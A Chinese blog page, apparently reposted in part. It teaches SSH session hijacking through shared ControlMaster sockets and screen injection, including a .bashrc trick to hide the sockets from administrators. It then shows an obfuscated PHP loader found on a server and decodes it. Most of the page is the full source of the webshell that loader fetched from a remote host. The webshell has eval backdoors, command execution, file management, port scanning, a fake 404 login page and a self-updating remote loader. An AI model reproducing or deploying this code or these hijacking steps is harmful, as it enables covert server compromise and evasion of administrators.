3. 前面说过,如果ControlPersist为yes,则不会自动删除sockets文件,我们可以手工rm删除/tmp/root@192.168.56.131:22,也可以优雅的使用

root@kali: # ssh -O exit -S /tmp/root@192.168.56.131 %x

来删除。在.bashrc里封装ssh命令的方法如下:

ssh () 
{ 
    /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
}

enter image description here

1.2第二种场景:

这种情景是ssh_user用户使用screen管理ssh会话时的情景,步骤如下:

enter image description here

1. 当ssh_user使用

screen ssh root@192.168.56.131

连接远程的hop_1(192.168.56.131)时,会在/var/run/screen有显示相应的文件

root@kali:~# ls -la /var/run/screen/
total 0
drwxrwxr-x  3 root utmp  60 Mar 16 03:37 .
drwxr-xr-x 20 root root 640 Mar  3 21:23 ..
drwx------  2 root root  60 Mar 16 04:21 S-root

其中S-ROOT表示是本地的root用户连接的远程,可以用screen -r root/来接管会话,或者用screen -x 6851.pts-0.kali。

2. 如果要注入端口转发,还有 一点要注意,需要先执行script /dev/null来绕过pts/tty限制。命令如下

root@kali:~# lsof -i TCP:8888
root@kali:~# script /dev/null 
Script started, file is /dev/null
root@kali:~# screen -S 6851.pts-0.kali -p 0 -X  stuff $'~C'
root@kali:~# screen -S 6851.pts-0.kali -p 0 -X  stuff $'-D:8888\n\n'
root@kali:~# lsof -i TCP:8888
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
ssh     6852 root    7u  IPv4  94301      0t0  TCP *:8888 (LISTEN)
ssh     6852 root    8u  IPv6  94302      0t0  TCP *:8888 (LISTEN)

注入screen的ssh会话,会有一个不好的地方,就是你敲的命令,会在当前正在连接的用户那里同时显示,容易被发现。

enter image description here

转自:http://drops.wooyun.org/tips/5253

参考文章:http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html

 

写在后面的话:

socket文件移动了还是可以用的,注销以后也可以用,但是重启后就不能用了,debian测试。直接写到了.bashrc ssh的socket移动这个问题,在生成socket的这个机器上我移动后还是可以用的 socket文件应该是cp不到其他机器上的 这个技巧真是猥琐。但是这边连接了以后,管理员再连接的时候不需要密码就可以直接操作了。

就是已经有socket了,下次管理员再连接的时候就不用输入密码了,容易被管理员发现 在/etc/ssh/ssh_config里不好直接解决这个问题 我是在.bashrc里判断处理的,如果有以前创建的连接远程主机的socket,就先移到别的地方,然后下下次管理员连接的时候,就不在创建socket。

ssh() { [ -S /tmp/*@* ] && (mv /tmp/*@* /dev/shm ; > ~/.ssh/config ) || echo -e "ControlPath /tmp/%r@%h_%p\nControlMaster auto\nControlPersist yes" > ~/.ssh/config /usr/bin/ssh "$@" }
ssh -S root\@192.168.5.5\:22 %x
这里原文章说填写什么都可以%x或%a或%b,都可以。其实ControlPath /tmp/%r@%h:%p 你没必要弄个:. 麻烦,下次连ssh还要\转义 .你直接ControlPath /tmp/%r@%h_%p 或者 ControlPath /tmp/%r@%h 不要都行%p也行.反正就是个socket的命名.

你多测试一些不同的linux.比如centos5/6 ubuntu debian 我不知道是系统版本影响还是ssh版本影响,(没时间去折腾) 会出现不同的状况.

1 ControlPersist yes 不支持,直接报错

2 第一次登陆远程,创建本地socket后.退出远程会卡住.(ctrl+c都无效)

3 有些系统不设置ControlPersist参数.退出登陆后socket会保留,有些会直接删了.(这个问题不大)

1.2不管对谁都是灾难 反正多测试.这个东西不是想象中的那么统一

对某个脚本进行的php解密

发布时间:April 27, 2015 // 分类:运维工作,PHP,linux,代码学习 // No Comments

晚上客户反映服务器最近流量有些异常,于是就去查看服务器日志,为了自身方便,写了一个文件来查询

<?php
$ua_file = "ua.txt";
 
$ua_data = date("Y/m/d H:i:s")."----".$_SERVER['REMOTE_ADDR']."\n";
$ua_data = $ua_data."http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\n";
$ua_data = $ua_data.$_SERVER['HTTP_USER_AGENT']."\n";
$ua_data = $ua_data.$_SERVER['HTTP_REFERER']."\n";
$ua_data = $ua_data."\n";
 
$ffff = fopen($ua_file, 'a');  
fwrite($ffff, $ua_data);  
fclose($ffff);
?>

可是其中的一请求的文件引起了我的注意,直接打开看看~

<?php 
define('iphp','oday');
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');
define('F2','contents');
define('P','pack');
$p = P;
$call = sprintf('%s_%s_%s',A,B,C);
$create = sprintf('%s_%s',D,E);
$file = sprintf('%s_%s_%s',F,F1,F2);
$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
$call($create(null,$p(T,$file($p(T,join(null,$t))))));
?>

于是随手解密了下,发现函数的原型是这样子的

<?php 
define('iphp','oday');
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');
define('F2','contents');
define('P','pack');
$p = P;  //pack
//明显的对函数进行拼接
$call = sprintf('%s_%s_%s',A,B,C); //call_user_func  调用自定义的函数
$create = sprintf('%s_%s',D,E);    //create_function  创建自定义函数
$file = sprintf('%s_%s_%s',F,F1,F2); //file_get_contents 远程文件读取

$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
//$call($create(null,$p(T,$file($p(T,join(null,$t))))));
​//join(null,$t) join() 函数把数组元素组合为一个字符串
call_user_func(create_function(null,pack(H*,file_get_contents(H*,join(null,$t)))));
?>

其中的join(null,$t)得到的是

687474703a2f2f646f646f646f6d652e73696e616170702e636f6d2f676574636f64652e7068703f63616c6c3d636f6465

然后$p(T,join(null,$t));的到的结果是

http://dododome.sinaapp.com/getcode.php?call=code

那么一目了然了,从http://dododome.sinaapp.com/getcode.php?call=code读取到的东西,经过pack解码,然后直接调用

//<?php
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2012 KingBin All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: KingBin ooooooo.oooo.ooooooo@foxmail.com 
// +----------------------------------------------------------------------
error_reporting(0);
define('KING_SELF', basename($_SERVER["SCRIPT_FILENAME"]));
define('IS_WIN', 'win' == substr(strtolower(PHP_OS), 0, 3));
defined('mamashuoanquangoushigehenrongyiguodedashaguaruanjian') or define('mamashuoanquangoushigehenrongyiguodedashaguaruanjian', 'demo');
date_default_timezone_set('asia/shanghai');
//新增过狗验证
if(defined('iphp'))
  define('_pass_',iphp);
else
  define('_pass_',mamashuoanquangoushigehenrongyiguodedashaguaruanjian);
//结束
if (!isset($_SESSION)) {
    session_start();
}

function init() {
    remote_e();
    header("Content-type:text/html;charset=utf-8");
    session();
    //update();
    $do = new king;
    $do->start();
}

function remote_e() {
    $pass = $_REQUEST['pass'];
    $e = $_REQUEST['e'];
    if ($pass == _pass_) {
        if ($e)
            eval($e);
        die;
    }
}

function _getcwd() {
    return $_SESSION['dirpath'] . '/';
}

function kill($process) {
    $wmi = new COM("Winmgmts:/root/cimv2");
    $data = $wmi->ExecQuery(sprintf("SELECT * FROM Win32_Process Where Name='%s'", $process));
    foreach ($data as $v) {
        $v->Terminate();
    }
}

function session() {
    $sessid = empty($_COOKIE[session_name()]) ? $_COOKIE[session_name()] : null;
    if ($sessid)
        session_id($sessid);
}

function update() {
    $code = "<?php
session_start();
define('version','v2');
define('pp', '{pass}');
if(isset(\$_SESSION['k'])){
  \$k = \$_SESSION['k'];
}else{
  \$_SESSION['k'] = pack('H*',file_get_contents(pack('H*','687474703a2f2f66696c652e6865696c6979752e636f6d2f676574636f64652e7068703f63616c6c3d636f6465')));
  \$k = \$_SESSION['k'];
}
call_user_func(create_function(null,\$k));
?>
";

    $pass =  _pass_;
    $contents = str_replace('{pass}', $pass, $code);
    if (!defined('version') || version != 'v2') {
        file_put_contents(KING_SELF, $contents);
            //header('location:' . KING_SELF);
    }
}

function I($name) {
    return $_REQUEST[$name];
}

//已经废弃
function _king($key) {
    $opts = array('http' => array('method' => 'GET', 'timeout' => 10));

    $context = stream_context_create($opts);

    if (isset($_SESSION['code'])) {
        $code = bin::decode($_SESSION['code'], $key);
    } else {
        $_SESSION['code'] = $GLOBALS['p']('H*', $GLOBALS['f']($GLOBALS['s']('%s/%s', $GLOBALS['p']
                                        ('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f'), $key)), false, $context);
        $code = $GLOBALS['s']('%s', @bin::decode($_SESSION['code'], $key));
    }
    //这里很重要针对5.3 以上匿名优化
    $GLOBALS['c']($GLOBALS['e'](false, $code));
}

//end
function css() {
    $code = <<< css
    <style>
    input{font:11px Verdana;height:18px;border:1px solid #666666;}a{color:#00f;text-decoration:underline;}a:hover{color:#f00;text-decoration:none;}#header{height:20px;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}#header .left{float:left;}#header .right{float:right;}#menu{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}#content{margin:0 auto;width:98%;}#content h2{margin-top:15px;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}#content #base,#content #base2{background:#eee;margin-bottom:10px;}#base input{float:right;border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;margin:5px 10px;}.cdrom{padding:5px;margin:auto 7px;}.h{margin-top:8px;}#base2 .input{font:12px Arial,Tahoma;background:#fff;border:1px solid #666;padding:2px;height:18px;}#base2 .bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}dl,dt,dd{margin:0;}.focus{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}.fff{background:#fff}dl{margin:0 auto;width:100%;}dt,dd{overflow:hidden;border-top:1px solid white;border-bottom:1px solid #DDD;background:#F1F1F1;padding:5px 15px 5px 5px;}dt{border-top:1px solid white;border-bottom:1px solid #DDD;background:#E9E9E9;font-weight:bold;padding:5px 15px 5px 5px;}dt span,dd span{width:19%;display:inline-block;text-indent:0em;overflow:hidden;}#footer{padding:10px 30px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;}#load{position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display:none;}.in{width:40px;text-align:center;}.high{background-color:#0449BE;color:white;margin:0 2px;padding:2px 3px;width:10px;}.high2{margin:0 2px;padding:2px 0px;width:10px;}#login{display:none;}#show_file{padding: 10px 10px;border: #000 solid;color:#000;height:400px;width:800px;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;background:#fff;overflow:auto;}#open,#upload{display:none;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;}#close{color:#fff;height:16px;width:30px;position:absolute;right:0;background:#000;z-index:1;}#upfile{width:628px;height:108px;padding:10px 20px;background-color:white;position:fixed;top:45%;left:50%;margin-top:-54px;margin-left:-314px;border:#000 solid;}
    #login{display:none;}
    body{font:14px Arial,Tahoma;line-height:16px;margin:0;padding:0;}
    h1{display: block;font-size: 32px;font-weight: bold;font-family:none;}
    .not_found{margin:20px 20px;}
    .not_found p{font-family:none;font: 14px Arial,Tahoma;line-height: 16px;}
    in{border:1px;}
    .red{color:#FF0085;}
    #base2 .input{width:260px;}
    .hide{display:none;}
    .showfile {font-size: 16px;line-height: 28px;}
    </style>
css;
    return $code;
}

function js() {
    $code = <<< js
    <script>
     (function() {
    
    function _key() {
        $(document).keydown(function(e) {
            var key = (e.keyCode) || (e.which) || (e.charCode);
            if (key == 80) {
                $(".not_found").hide();
                $("#login").show();
            }
        });
    }
    
    function error(msg, element, speed) {
        speed = speed || "3000";
        //setTimeout('$(element).show("slow")',speed);
        $(element).show();
        $(element).text(msg);
        setTimeout(
        function() {
            $(element).hide();
        }
        , speed);
    }
    function post(element, url, form) {
        $(element).click(function() {
            $.get(url, $(form).serialize(), function(data) {
                if (data.status == 100) {
                    error(data.msg, '#notice', 2000);
                }else{
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
            }, "json");
        });
    }
    function close(){
        $("#close").click(function(){
            $("#open").hide();
        });
        $("#close_file").click(function(){
          $("#upfile").hide();
        });
    }    
    function get(element){
         $(element).on('click',function(e){
            $.get(this.href,function(data){
                if(data == null){
                    error('权限不足,无法查看!', '#load', 2000);
                }
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    $('#show_file').append(data.showfile);
                }
                if(data.editfile){
                  if($(window).scrollTop()>0) $('body,html').animate({scrollTop:0},1000);
                  $(".newfile").show();
                  $(".newfile_name").empty();
                  $(".newfile_name").val(data.filename);
                  $(".newfile_value").empty();
                  $(".newfile_value").text(data.editfile);

                }
                if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }
                if(data.status==200){
                    //window.location.href={gourl}
                    window.location.reload();
                }
                
            },"json");
            e.preventDefault();
            return false;
         });
         return false;
     }
     function find(){
       
        $('.qh').click(function(){
            var find = $('.find').val();
            if( find == null){
                error('切换的路径不能为空', '#load', 2000);
            }
             $.get('?action=find&file='+find,function(data){
                if(data == null){
                    error('切换的路径不能为空!', '#load', 2000);
                }
                if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            
        });
     }
     function port(){
        $(".click_port").click(function(){
            $('.port_hide').toggle();
            $(".findport").click(function(){
                error("正在扫描端口,请耐心等待", '#load', 2000);
                var port = $('.port').val();
               $.get('?action=port&ports='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    $('#show_file').append(data.showfile);
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });
            
        });
    }
    function upload(){
      $('.upload').click(function(){
        $('#upfile').toggle();
      });
      $(".postfile").click(function(){
        $('#upfile').hide();
         $("#form1").submit();
      });
    }
    function runphp(){
        $(".run_php").click(function(){
            $('.runphp_hide').toggle();
            $(".runphp_click").click(function(){
                error("正在执行php代码,请耐心等待", '#load', 2000);
                var port = $('.runphp_value').val();
               $.get('?action=runphp&codes='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    if(data.showfile==null){
                       error("语句执行错误,或者执行的函数被禁用!", '#load', 2000);
                    }
                    $('#show_file').append(data.showfile);
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });
            
        });
    }
    function run_command(){
        $(".run_command").click(function(){
            $('.runcommand_hide').toggle();
            $(".runcommand_click").click(function(){
                error("正在执行命令,请耐心等待", '#load', 2000);
                var port = $('.runcommand_value').val();
               $.get('?action=runcommand&codes='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    if(data.showfile){
                       error("命令执行成功!", '#load', 2000);
                      $('#show_file').append('<pre>'+data.showfile+'</pre>');
                    }                  
                   
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });           
        });
    }
      function newfile(){
      $("._newfile").click(function(){
          $(".newfile").toggle();
      });     
      $(".newfile_click").click(function(){
          var name = $(".newfile_name").val();
          var contents = $(".newfile_value").val();
          if(name==''){
              error("新建文件不能为空!", '#load', 2000);
              return false;
          }
         if(contents==''){
              error("新建内容不能为空!", '#load', 2000);
              return false;
          }
          if(name && contents){
              $.post('?action=createfile',{file:name,body:contents},function(data){
               if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
               if(data.msg){
                    error(data.msg, '#load', 2000);
               }                 
            },"json");
           }
      });
   }
     function newfolder(){
      $("._newfolder").click(function(){
          $(".newfolder").toggle();
      });     
      $(".newfolder_click").click(function(){
          var name = $(".newfolder_name").val();
          if(name==''){
              error("新建文件夹不能为空!", '#load', 2000);
              return false;
          }
          if(name){
              $.post('?action=newfolder',{file:name},function(data){
               if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
               if(data.msg){
                    error(data.msg, '#load', 2000);
               }                
            },"json");
           }
      });
   }

   function pay(){
      $('.pay').click(function(){
        alert('付费模块正在努力制作中!');
      });
   }
    function _init() {
        $(function($) {
            _key();
            url = $("#submit").attr('data_url');
            post('#submit',url, '#f_login');
            get('.action_del');
            close();
            find();
            port();
            runphp();
            upload();
            run_command();
            newfile();
            newfolder();
            pay();
            $('.packages').click(function(){
              error('打包时间比较长,请耐心等待。。或者进行其他操作。。', '#load', 5000);
            });
        });
            
    }


    
    _init();
})();
    </script>
js;
    return $code;
}

function _html() {
    $code = <<< CODE
<!DOCTYPE HTML>
<head>
 <meta http-equiv="content-type" content="text/html" />
 <meta http-equiv="content-type" charset="UTF-8" />
    <title>404 Not Found</title>
    {load_css}
    <script src="http://lib.sinaapp.com/js/jquery/1.8/jquery.min.js"></script>
    {load_js}
</head>
<body>
   <div id="notice" style="position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display: none; font-size:12px;"></div>
   <div class="not_found">
   <h1>Not Found</h1>
    <p>The requested URL /{url} was not found on this server.</p>
   </div>
   <div id="login">
   <form action="" method="GET" id="f_login">
   <span style="font:11px Verdana;">
       Password: 
     </span>
     <input id="pwd" name="password" type="password" size="20" />
     <input id="submit" data_url="{url}" type="button" value=" login " />
   </form>
  </div>
</body>
</html>
CODE;

    return str_replace(array(
        '{url}',
        '{load_css}',
        '{load_js}'), array(
        KING_SELF,
        css(),
        js()), $code);
}

function class_html() {
    $code = <<< code
<!DOCTYPE HTML>
<head>
 <meta http-equiv="content-type" content="text/html" />
 <meta http-equiv="content-type" charset="UTF-8" />
  <title>404 Not Found</title>
    {load_css}
    <script src="http://lib.sinaapp.com/js/jquery/1.8/jquery.min.js"></script>
    {load_js}
</head>
<body>
{body}
</body>
</html>
code;
    return $code;
}

function class_body() {
    $code = <<< code
<div id="load">
</div>
<div class='hide' id="upfile">
<p></p><p></p><p><a href="javascript:;;;" id="close_file">点我关闭</a></p>
<form action="?action=upload" id="form1" name="form1" encType="multipart/form-data"  method="post" target="hidden_frame">
    <input name="action" value="upload" type="hidden" />
    <input type="file" id="userfile" name="userfile">  
    <INPUT class="postfile" type="button" value="上传文件">         
    <iframe name="hidden_frame" id="hidden_frame" style="display:none"></iframe>  
</form>  
</div>
<div id="open">
<div style="position:relative;">
<div id="close">关闭</div>
</div>
<div id="show_file" class="showfile">
</div>
</div>
<div id="header">
  <div class="left">
  {host}({ip})
  </div>
  <div class="right">
  OS:{uname} {software} php {php_version}
  </div>
</div>
<div id="menu">
    {menu}
</div>
<div id="content">
<h2>文件管理 - 当前磁盘空间 <span id="disktotal">{space_total}</span> 运行用户:{whoami}</h2>
  <div id="base">
    <div class="cdrom">
      <span id="listdir"> {current_dir}</span>
    </div>
    <div class="cdrom">
      {all_dir}
    </div>
  </div>
  <div class="h"></div>
  <div id="base2">
    <div class="cdrom">
      {action}
    </div>
    <div class="cdrom">
      切换路径: <input class="input find" name="findstr" value="" type="text" /> <input  class="bt qh" value="切换" type="submit" />
    </div>
    <div class="cdrom runcommand_hide hide">
      运行命令: <input class="input runcommand_value" name="runphp" value="" type="text"/> <input  class="bt runcommand_click" value="运行" type="submit" />
    </div>
    <div class="cdrom port_hide hide">
      扫描端口: <input class="input port" name="findstr" value="21,22,25,80,3306,9000,11211" type="text" /> <input  class="bt findport" value="扫描" type="submit" />
    </div>
    <div class="cdrom runphp_hide hide">
      运行php: <textarea class="input runphp_value" name="runphp" value="" type="text" style="width:600px;height:200px;"/></textarea> <input  class="bt runphp_click" value="运行" type="submit" />
    </div>
     <!--new file -->
    <div class="cdrom hide newfile">
           新建文件: <input class="input newfile_name"  style="font-size:16px;color:blue;" name="findstr" value="" type="text" /> 
     <div style="margin-top:10px;">
     新建内容: <textarea class="input newfile_value" name="runphp" value="" type="text" style="width:600px;height:200px;font-size:16px;color:blue;line-height: 28px;"/></textarea> 
         <input  class="bt newfile_click" value="新建" type="submit" />
      </div>
    </div>     
    <!--end-->
     <div class="cdrom hide newfolder">
         新文件夹: <input class="input newfolder_name" name="findstr" value="" type="text" /> 
         <input  class="bt newfolder_click" value="新建" type="submit" />
    </div>     
  </div>
  <!-- return -->
  <div id="show">
   <dl>
  <dt>
    <span class="in"> </span>
    <span>文件名</span>
    <span>修改时间</span>
    <span>文件大小</span>
    <span>权限</span>
    <span>操作</span>
  </dt>
  <dd >
    <span class="in">
    -
    </span>
    <span>
      <a class='action_del' href="?action=up">返回上一目录</a>
    </span>
    <span></span>
    <span></span>
    <span></span>
     <span></span>
  </dd>
  <!-- file -->
    {showfile}
  <!-- file  end -->
 </dl>
  </div>
 <!-- page start-->
  <!-- end -->
</div> 
<div class="h"></div>
<div id="footer">
   当前版本:2.0 一句话连接提供 {http}/{k}?pass={p} 密码是e</span>
</div>
code;
    return str_replace(array('{http}', '{k}', '{p}'), array($_SERVER["HTTP_HOST"], KING_SELF, _pass_), $code);
}

function show_html() {
    $code = <<< code
    <dd class="{color}" onmouseover="this.className='focus'" onmouseout="this.className='{color}'">
    <span class="in">
     <input name="" type="checkbox">
    </span>
    <span>
    <a class="action_del {.red}" href="{self}?action=view&file={file}" name="" >{return_file}</a>
    </span>
    <span>
     <a href="javascript:;;;" name="" >{return_time}</a>
    </span>
    <span>{return_size}</span>
    <span>
     <a href="javascript:;;;" name="" >{return_chmod}</a> / 
     <a href="javascript:;;;" name="">{return_perms}</a>
    </span>
    <span>
     {is_folder}
   </span>
  </dd>
code;
    return $code;
}

function pages() {
    $code = <<< code
   <div id="pages">
   <dl>
    <dd>
    <span class="in"> </span>
    <span></span>
    <span></span>
    <span></span>
    <span style="text-align:right;width:38%">
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=1" >Index</a>   
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$previous" >Previous</a>
    {pages}
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$next" >Next</a>
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$nums" >End</a>
    </dd>
    </dl>
  </div>
code;
}

function _login() {
    $password = I('password');
    //去掉原有key保护改为用户自定义密码[服务端已修改]
    //&& NULL == bin::decode($GLOBALS['p']('H*', $GLOBALS['f']($GLOBALS['s']('%s/%s', $GLOBALS['p']('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f'), $key))), $key)
    if (isset($password) && $password !=_pass_) {
        die('{"status":"100","msg":"密码不对"}');
    }
    echo _html();
}

function _logout() {
    setcookie(session_name(),null, time() - 86400);
    session_destroy();
}

function is_ajax() {
    if (strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest')
        return true;
}

function run() {
    $action = new run();
    $action->index();
}

function _is_login() {

    $cookie = !empty($_SESSION['_king_key']) ? pack('H*', $_SESSION['_king_key']) : null;
    $key = I('password') ? I('password') : $cookie;
    if (_pass_ == $key) {
        if ($_SESSION['_king_key'] != bin2hex(_pass_)) {
            //setcookie('_king_key', bin2hex($key), time() + 86400);
            setcookie(session_name(), session_id(), time() + 86400);
            $_SESSION['_king_key'] = bin2hex($key);
        }
        run();
    } else
        _login();
}

class run {

    function index() {
        $action = I('action') ? I('action') : null;
        if (isset($action)) {
            if (method_exists($this, $action))
                $this->$action();
        } else {
            $this->dump();
        }
    }

    function restart() {
        if (!IS_WIN) {
            die('{"msg":"非常抱歉,此操作仅限windows系统"}');
        }
        if (!class_exists('COM')) {
            die('{"msg":"非常抱歉,此机器不支持重启"}');
        }
        //尝试重启
        kill('services.exe');
        die('{"msg":"正在尝试重启服务器系统,如不是system权限请放弃操作!"}');
    }

    function find() {
        $dir = $this->gbk_mbstring(I('file'));
        if (is_dir($dir)) {
            $this->setpath($dir);
            $this->dump();
        }
    }

    function hello() {
        $i = I('world');
        if ($i) {
            eval($i);
        }
        exit;
    }

    function createfile() {
        $filename = I('file');
        $contents = I('body');
        if (isset($filename) && isset($contents)) {
            if (true == file_put_contents(_getcwd() . $filename, $contents)) {
                $this->dump('新建文件成功!');
            } else {
                $this->dump('新建文件失败!');
            }
        }
    }

    function newfolder() {
        $filename = I('file');
        if (isset($filename)) {
            if (is_dir(_getcwd() . $filename)) {
                die('{"msg":"文件夹已经存在"}');
            }
            if (true == mkdir(_getcwd() . $filename, 0777)) {
                $this->dump('新建文件夹成功!');
            } else {
                $this->dump('新建文件夹失败!');
            }
        }
    }
    function editfile(){
       if(IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
       if (is_file($filename)) {
            ob_start();
            echo file_get_contents($filename);
            $contents = ob_get_clean();
            echo sprintf('{"editfile":%s,"filename":"%s"}', json_encode($this->mbstring($contents)),basename($filename));
        }

    }
    function rmdir() {
        if(IS_WIN)
            $dir = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $dir = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        $files = array_diff(scandir($dir), array('.', '..'));
        foreach ($files as $file) {
            (is_dir("$dir/$file")) ? $this->rmdir("$dir/$file") : unlink("$dir/$file");
        }
        if(true==rmdir($dir)){
            $this->dump('文件夹删除成功!');
        }else{
            die('{"msg":"文件夹删除失败!"}');
        }
    }

    function phpinfo() {
        $html = <<< code
        <pre>
        php参数查看
   ======================================
        
   禁用的函数:
   {disable_function}
   禁用的类 :{class}
   支持的拓展 : 
   {ext}
   加载的项目 : {include}
   前置调用 : {pre}
   后置调用 :{next}
   内存设置大小 : {mem}
   php.ini 路径 : {php}
   最大上传 : {u}
        
  =======================================
                       code by blackbin
        </pre>
code;
        $dis = ini_get('disable_functions');
        $ext = join(',', get_loaded_extensions());
        $in = ini_get('include_path');
        $mem = ini_get('memory_limit');
        $class = ini_get('disable_classes');
        $php = php_ini_loaded_file();
        $u = ini_get('upload_max_filesize');
        $pre = ini_get('auto_prepend_file');
        $next = ini_get('auto_append_file');
        $code = str_replace(array(
            '{disable_function}',
            '{ext}',
            '{include}',
            '{mem}',
            '{class}',
            '{php}',
            '{u}',
            '{pre}',
            '{next}'), array(
            str_replace(',', '<br/>   ', $dis),
            str_replace(',', '<br/>   ', $ext),
            $in,
            $mem,
            $class,
            $php,
            $u,
            $pre,
            $next), $html);
        die(sprintf('{"showfile":%s}', json_encode($code)));
    }

    function port() {
        $port = explode(',', I('ports'));
        foreach ($port as $v) {
            if (true == $this->fsockopen($v)) {
                $yes[] = $v;
            } else {
                $no[] = $v;
            }
        }
        $html = <<< code
        <pre>
              端口检测
         =======================
          服务器开放端口:{yes}
          服务器关闭端口:{no}
         =======================
       </pre>
        
code;
        $code = str_replace(array('{yes}', '{no}'), array(join(',', $yes), join(',', $no)), $html);

        die(sprintf('{"showfile":%s}', json_encode($code)));
    }

    function fsockopen($port) {
        $fp = fsockopen("127.0.0.1", $port, $errno, $errstr, 1);
        if (!$fp) {
            return false;
        }
        return true;
    }

    function runphp() {
        $codes = I('codes');
        ob_start();
        eval($codes);
        $c = ob_get_clean();
        die(sprintf('{"showfile":%s}', json_encode($c)));
    }

    function runcommand() {
        $codes = I('codes');
        ob_start();
        echo `$codes`;
        $c = ob_get_clean();
        die(sprintf('{"showfile":%s}', json_encode($this->mbstring($c))));
    }

    function viewinfo() {
        phpinfo();
        exit;
    }

    function logout() {
        _logout();
        header('location:http://'.$_SERVER["HTTP_HOST"].'/'.KING_SELF);
        die('{"status":"200","msg":"你已成功退出!"}');
    }

    function del() {
        if (IS_WIN)
            $file = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $file = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (isset($file)) {
            if (false == unlink($file)) {
                die('{"msg":"对不起,您没有删除此文件的权限!"}');
            } else {
                $this->dump('成功删除文件!');
            }
        }
        return;
    }

    function down() {
        if (IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (isset($filename)) {
            if (file_exists($filename)) {
                $this->download($filename);
            }
        }
        return;
    }

    function linuxpkg() {
        if (IS_WIN)
            die('{"msg":"此功能仅限linux平台使用"}');
        $disable_functions = ini_get('disable_functions');
        if (strpos($disable_functions, 'shell_exec')) {
            die('{"msg":"非常抱歉,命令行已被禁用,请使用左边的打包功能!"}');
        }
        $apath = pack('H*', $this->scriptroot());
        $path = $_SESSION['dirpath'];
        $shell = sprintf('tar zcf %s.tar.gz %s', md5(uniqid()), $path);
        shell_exec($shell);
        $this->setpath($apath);
        $this->dump('亲,恭喜您,打包成功!');
    }

    function packages() {
        if (!class_exists('ZipArchive')) {
            die('{"msg":"当前环境不支持打包!"}');
        }
        $c = $this->_scandir($this->mbstring($_SESSION['dirpath']));
        array_walk_recursive($c, array($this, 'tofile'));
        $res = $this->addzip();
        if ($res) {
            //返回打包路径
            $apath = pack('H*', $this->scriptroot());
